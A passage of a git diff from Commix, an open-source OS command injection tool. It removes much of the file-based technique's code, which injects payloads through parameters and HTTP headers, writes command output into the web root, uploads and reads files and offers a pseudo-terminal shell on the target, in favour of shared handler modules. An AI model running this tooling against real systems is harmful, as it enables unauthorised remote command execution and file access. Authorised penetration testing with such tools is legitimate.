+ "\n") - sys.stdout.flush() - raise SystemExit() - - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - if shell: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - info_msg = "The " + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" - sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "write the '" + dest_to_upload + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Check the defined options -""" -def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - - if menu.options.file_write: - file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.FILE_ACCESS_DONE = True - -# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 5d460723fb..c5d9b11b11 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -3,685 +3,33 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import os -import sys -import time -import string -import random -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.utils import session_handler -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.controller import shell_options -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_injector -from src.core.injections.semiblind.techniques.file_based import fb_payloads -from src.core.injections.semiblind.techniques.file_based import fb_enumeration -from src.core.injections.semiblind.techniques.file_based import fb_file_access -from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler - -""" -The "file-based" technique on semiblind OS command injection. -""" +For more see the file 'readme/COPYING' for copying permission. """ -Check ff temp-based technique has failed, -then use the "/tmp/" directory for tempfile-based technique. -""" -def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): - if no_result == True: - info_msg = "Trying to create a file, in temporary " - info_msg += "directory (" + tmp_path + ") for command execution results.\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) - return call_tfb - else : - sys.stdout.write("\r") - sys.stdout.flush() - -""" -Delete previous shells outputs. -""" -def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.FILE_BASED_STATE != None: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'.\n" - sys.stdout.write(settings.print_debug_msg(debug_msg)) - if settings.TARGET_OS == "win": - cmd = settings.WIN_DEL + OUTPUT_TEXTFILE - else: - cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + " " + settings.COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) -""" -Provide custom server's root directory -""" -def custom_web_root(url, timesec, filename, http_request_method, url_time_response): - if settings.TARGET_OS == "win" : - example_root_dir = "\\inetpub\\wwwroot" - else: - example_root_dir = "/var/www" - question_msg = "Please provide the host's root directory (e.g. '" - question_msg += example_root_dir + "') > " - settings.WEB_ROOT = _input(settings.print_question_msg(question_msg)) - if settings.WEB_ROOT.endswith(("\\", "/")): - settings.WEB_ROOT = settings.WEB_ROOT[:-1] - if len(settings.WEB_ROOT) == 0: - settings.WEB_ROOT = example_root_dir - if menu.options.web_root: - menu.options.web_root = settings.WEB_ROOT - settings.CUSTOM_WEB_ROOT = True +from src.core.injections.controller import handler """ -Return TEMP path for win / *nix targets. +The "file-based" technique on semiblind OS command injection. """ -def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): - # Set temp path - if settings.TARGET_OS == "win": - if "microsoft-iis" in settings.SERVER_BANNER.lower(): - settings.TMP_PATH = "C:\\Windows\TEMP\\" - else: - settings.TMP_PATH = "%temp%\\" - else: - settings.TMP_PATH = "/tmp/" - - if menu.options.tmp_path: - tmp_path = menu.options.tmp_path - else: - tmp_path = settings.TMP_PATH - - if settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT: - settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT - - if menu.options.file_dest and '/tmp/' in menu.options.file_dest: - call_tmp_based = True - else: - if menu.options.web_root: - settings.WEB_ROOT = menu.options.web_root - else: - # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. - if "apache" in settings.SERVER_BANNER.lower(): - if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): - try: - check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) - if check_version[0] > "2.3" and not settings.TARGET_OS == "win": - # Add "/html" to servers root directory - settings.WEB_ROOT = settings.WEB_ROOT + "/html" - else: - settings.WEB_ROOT = settings.WEB_ROOT - except IndexError: - pass - # Add "/html" to servers root directory - elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = settings.WEB_ROOT + "/html" - else: - pass - # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" - elif "nginx" in settings.SERVER_BANNER.lower(): - try: - check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) - if check_version[0] >= "1.2.4": - # Add "/html" to servers root directory - settings.WEB_ROOT = settings.WEB_ROOT + "/html" - else: - # Add "/www" to servers root directory - settings.WEB_ROOT = settings.WEB_ROOT + "/www" - except IndexError: - pass - elif "microsoft-iis" in settings.SERVER_BANNER.lower(): - pass - else: - # Provide custom server's root directory. - custom_web_root(url, timesec, filename, http_request_method, url_time_response) - - path = _urllib.parse.urlparse(url).path - path_parts = path.split('/') - count = 0 - for part in path_parts: - count = count + 1 - count = count - 1 - last_param = path_parts[count] - EXTRA_DIR = path.replace(last_param, "") - settings.WEB_ROOT = settings.WEB_ROOT + EXTRA_DIR - if settings.TARGET_OS == "win": - settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") - - return tmp_path """ The "file-based" injection technique handler """ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): - shell = False - counter = 1 - vp_flag = True - exit_loops = False - no_result = True - is_encoded = False - stop_injection = False - call_tmp_based = False - next_attack_vector = False - export_injection_info = False - - tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - - if not settings.LOAD_SESSION or settings.RETEST == True: - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - info_msg = "Trying to create a file in '" + settings.WEB_ROOT - info_msg += "' for command execution results. " - print(settings.print_info_msg(info_msg)) - - i = 0 - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - # Check if defined alter shell - alter_shell = menu.options.alter_shell - for whitespace in settings.WHITESPACES: - for prefix in settings.PREFIXES: - for suffix in settings.SUFFIXES: - for separator in settings.SEPARATORS: - - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - if settings.LOAD_SESSION: - try: - settings.FILE_BASED_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - OUTPUT_TEXTFILE = TAG + ".txt" - session_handler.notification(url, technique, injection_type) - if technique == "tempfile-based injection technique": - #settings.LOAD_SESSION = True - tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) - except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - if settings.RETEST == True: - settings.RETEST = False - from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method) - - if not settings.LOAD_SESSION: - i = i + 1 - # The output file for file-based injection technique. - OUTPUT_TEXTFILE = TAG + ".txt" - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - try: - # File-based decision payload (check if host is vulnerable). - if alter_shell : - payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) - else: - payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE) - - # Check if defined "--prefix" option. - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) - - # Cookie Injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = fb_injector.cookie_injection_test(url, vuln_parameter, payload) - - # User-Agent HTTP Header Injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload) - - # Referer HTTP Header Injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to Referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = fb_injector.referer_injection_test(url, vuln_parameter, payload) - - # Host HTTP Header Injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to Host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = fb_injector.host_injection_test(url, vuln_parameter, payload) - - # Custom HTTP header Injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom HTTP header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload) - - else: - # Check if target host is vulnerable. - response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url) - - # Find the directory. - output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, timesec) - time.sleep(timesec) - - try: - - # Check if defined extra headers. - request = _urllib.request.Request(output) - headers.do_check(request) - - # Evaluate test results. - output = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - html_data = output.read() - shell = re.findall(r"" + TAG + "", str(html_data)) - - if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0: - percent = settings.info_msg - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - if len(shell) == 0 : - raise _urllib.error.HTTPError(url, 404, 'Error', {}, None) - - except _urllib.error.HTTPError as e: - if str(e.getcode()) == settings.NOT_FOUND_ERROR: - percent = ((i*100)/total) - float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) - - if call_tmp_based == True: - exit_loops = True - tmp_path = os.path.split(menu.options.file_dest)[0] + "/" - tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) - raise - - # Show an error message, after N failed tries. - # Use the "/tmp/" directory for tempfile-based technique. - elif i == int(menu.options.failed_tries) and no_result == True : - tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - warn_msg = "It seems that you don't have permissions to " - warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) - while True: - if not menu.options.batch: - question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " - tmp_upload = _input(settings.print_question_msg(question_msg)) - else: - tmp_upload = "" - if len(tmp_upload) == 0: - tmp_upload = "Y" - if tmp_upload in settings.CHOICE_YES: - exit_loops = True - settings.TEMPFILE_BASED_STATE = True - call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) - if call_tfb != False: - return True - else: - if no_result == True: - return False - else: - return True - elif tmp_upload in settings.CHOICE_NO: - break - elif tmp_upload in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - raise - else: - err_msg = "'" + tmp_upload + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - continue - - else: - if exit_loops == False: - if settings.VERBOSITY_LEVEL == 0: - if str(float_percent) == "100.0": - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = ".. (" + str(float_percent) + "%)" - else: - percent = ".. (" + str(float_percent) + "%)" - - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - continue - else: - continue - else: - raise - - elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: - err_msg = "Authorization required!" - print(settings.print_critical_msg(err_msg) + "\n") - raise SystemExit() - - elif str(e.getcode()) == settings.FORBIDDEN_ERROR: - err_msg = "You don't have permission to access this page." - print(settings.print_critical_msg(err_msg) + "\n") - raise SystemExit() - - except KeyboardInterrupt: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except SystemExit: - if 'vuln_parameter' in locals(): - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except _urllib.error.URLError as e: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - err_msg = str(e).replace(": "," (") + ")." - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(err_msg)) - # Provide custom server's root directory. - custom_web_root(url, timesec, filename, http_request_method, url_time_response) - continue - - except: - raise - - # Yaw, got shellz! - # Do some magic tricks! - if shell: - settings.FILE_BASED_STATE = True - found = True - no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if not settings.VERBOSITY_LEVEL != 0 and \ - not menu.options.alter_shell and \ - not next_attack_vector: - next_attack_vector = True - - if settings.COOKIE_INJECTION == True: - header_name = " cookie" - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = " Referer" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.HOST_INJECTION == True: - header_name = "Host" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - the_type = " parameter" - if not menu.options.data: - found_vuln_parameter = parameters.vuln_GET_param(url) - else : - found_vuln_parameter = vuln_parameter - - if len(found_vuln_parameter) != 0 : - found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" - - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - if vp_flag == True: - vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) - logs.update_payload(filename, counter, payload) - counter = counter + 1 - - if not settings.LOAD_SESSION: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - else: - checks.total_of_requests() - - # Print the findings to terminal. - info_msg = "The" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." - print(settings.print_bold_info_msg(info_msg)) - sub_content = str(checks.url_decode(payload)) - print(settings.print_sub_content(sub_content)) - # Export session - if not settings.LOAD_SESSION: - session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) - else: - whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - - # Check for any enumeration options. - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - if not menu.options.batch: - question_msg = "Do you want to enumerate again? [Y/n] > " - enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower() - else: - enumerate_again = "" - if len(enumerate_again) == 0: - enumerate_again = "Y" - if enumerate_again in settings.CHOICE_YES: - fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # print(settings.SINGLE_WHITESPACE) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - if menu.enumeration_options(): - fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - - if not menu.file_access_options() and not menu.options.os_cmd: - if not settings.VERBOSITY_LEVEL != 0 and new_line: - print(settings.SINGLE_WHITESPACE) - - # Check for any system file access options. - if settings.FILE_ACCESS_DONE == True : - if settings.ENUMERATION_DONE != True: - print(settings.SINGLE_WHITESPACE) - while True: - if not menu.options.batch: - question_msg = "Do you want to access files again? [Y/n] > " - file_access_again = _input(settings.print_question_msg(question_msg)) - else: - file_access_again = "" - if len(file_access_again) == 0: - file_access_again= "Y" - if file_access_again in settings.CHOICE_YES: - fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - print(settings.SINGLE_WHITESPACE) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - if menu.file_access_options(): - # if not menu.enumeration_options(): - # print(settings.SINGLE_WHITESPACE) - fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - print(settings.SINGLE_WHITESPACE) - - # Check if defined single cmd. - if menu.options.os_cmd: - # if not menu.file_access_options(): - # print(settings.SINGLE_WHITESPACE) - fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - - try: - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True: - # Delete previous shell (text) files (output) - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if go_back == True: - break - if not menu.options.batch: - question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = _input(settings.print_question_msg(question_msg)) - else: - gotshell = "" - if len(gotshell) == 0: - gotshell = "Y" - if gotshell in settings.CHOICE_YES: - # if not menu.options.batch: - # print(settings.SINGLE_WHITESPACE) - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) - cmd = checks.escaped_cmd(cmd) - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - if cmd.lower() in settings.SHELL_OPTIONS: - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE) - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - time.sleep(timesec) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # Command execution results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - if shell != "": - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - - if not shell or shell == "": - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg) + "\n") - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - return True - - elif gotshell in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - - except KeyboardInterrupt: - # if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - return False - else : - sys.stdout.write("\r") - sys.stdout.flush() + return handler.do_results_based_proccess(url, timesec, filename, http_request_method, injection_type, technique) """ The exploitation function. (call the injection handler) """ def exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): - if fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: - return False + return fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) # eof diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index c22a01a34e..bbf27761ff 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -3,340 +3,38 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import os -import sys -import time -import json -import string -import random -import base64 -from src.utils import menu -from src.utils import settings -from src.core.requests import tor -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import input as _input -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_payloads - -""" -The "file-based" technique on semiblind OS command injection. -""" - -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - # Check if defined method is GET (Default). - if not menu.options.data: - - # Check if its not specified the 'INJECT_HERE' tag - #url = parameters.do_GET_check(url, http_request_method) - - # Encoding spaces. - payload = payload.replace(" ","%20") - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - - target = url.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) - - # Check if defined extra headers. - headers.do_check(request) - - try: - # Get the response of the request - response = requests.get_request_response(request) - except KeyboardInterrupt: - response = None - - # Check if defined method is POST. - else: - parameter = menu.options.data - parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) - # Check if defined extra headers. - headers.do_check(request) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - try: - # Get the response of the request - response = requests.get_request_response(request) - except KeyboardInterrupt: - response = None - - return response, vuln_parameter - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) - -""" -Check if target host is vulnerable. (Referer-based injection) +For more see the file 'readme/COPYING' for copying permission. """ -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) -""" -Check if target host is vulnerable. (Host-based injection) -""" -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) +from src.core.injections.controller import injector """ -Check if target host is vulnerable. (Custom header injection) +The "file-based" technique on semiblind OS command injection. """ -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) """ The main command injection exploitation. """ -def injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - - def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - - # Execute shell commands on vulnerable host. - if alter_shell : - payload = fb_payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) - else: - payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) - - # 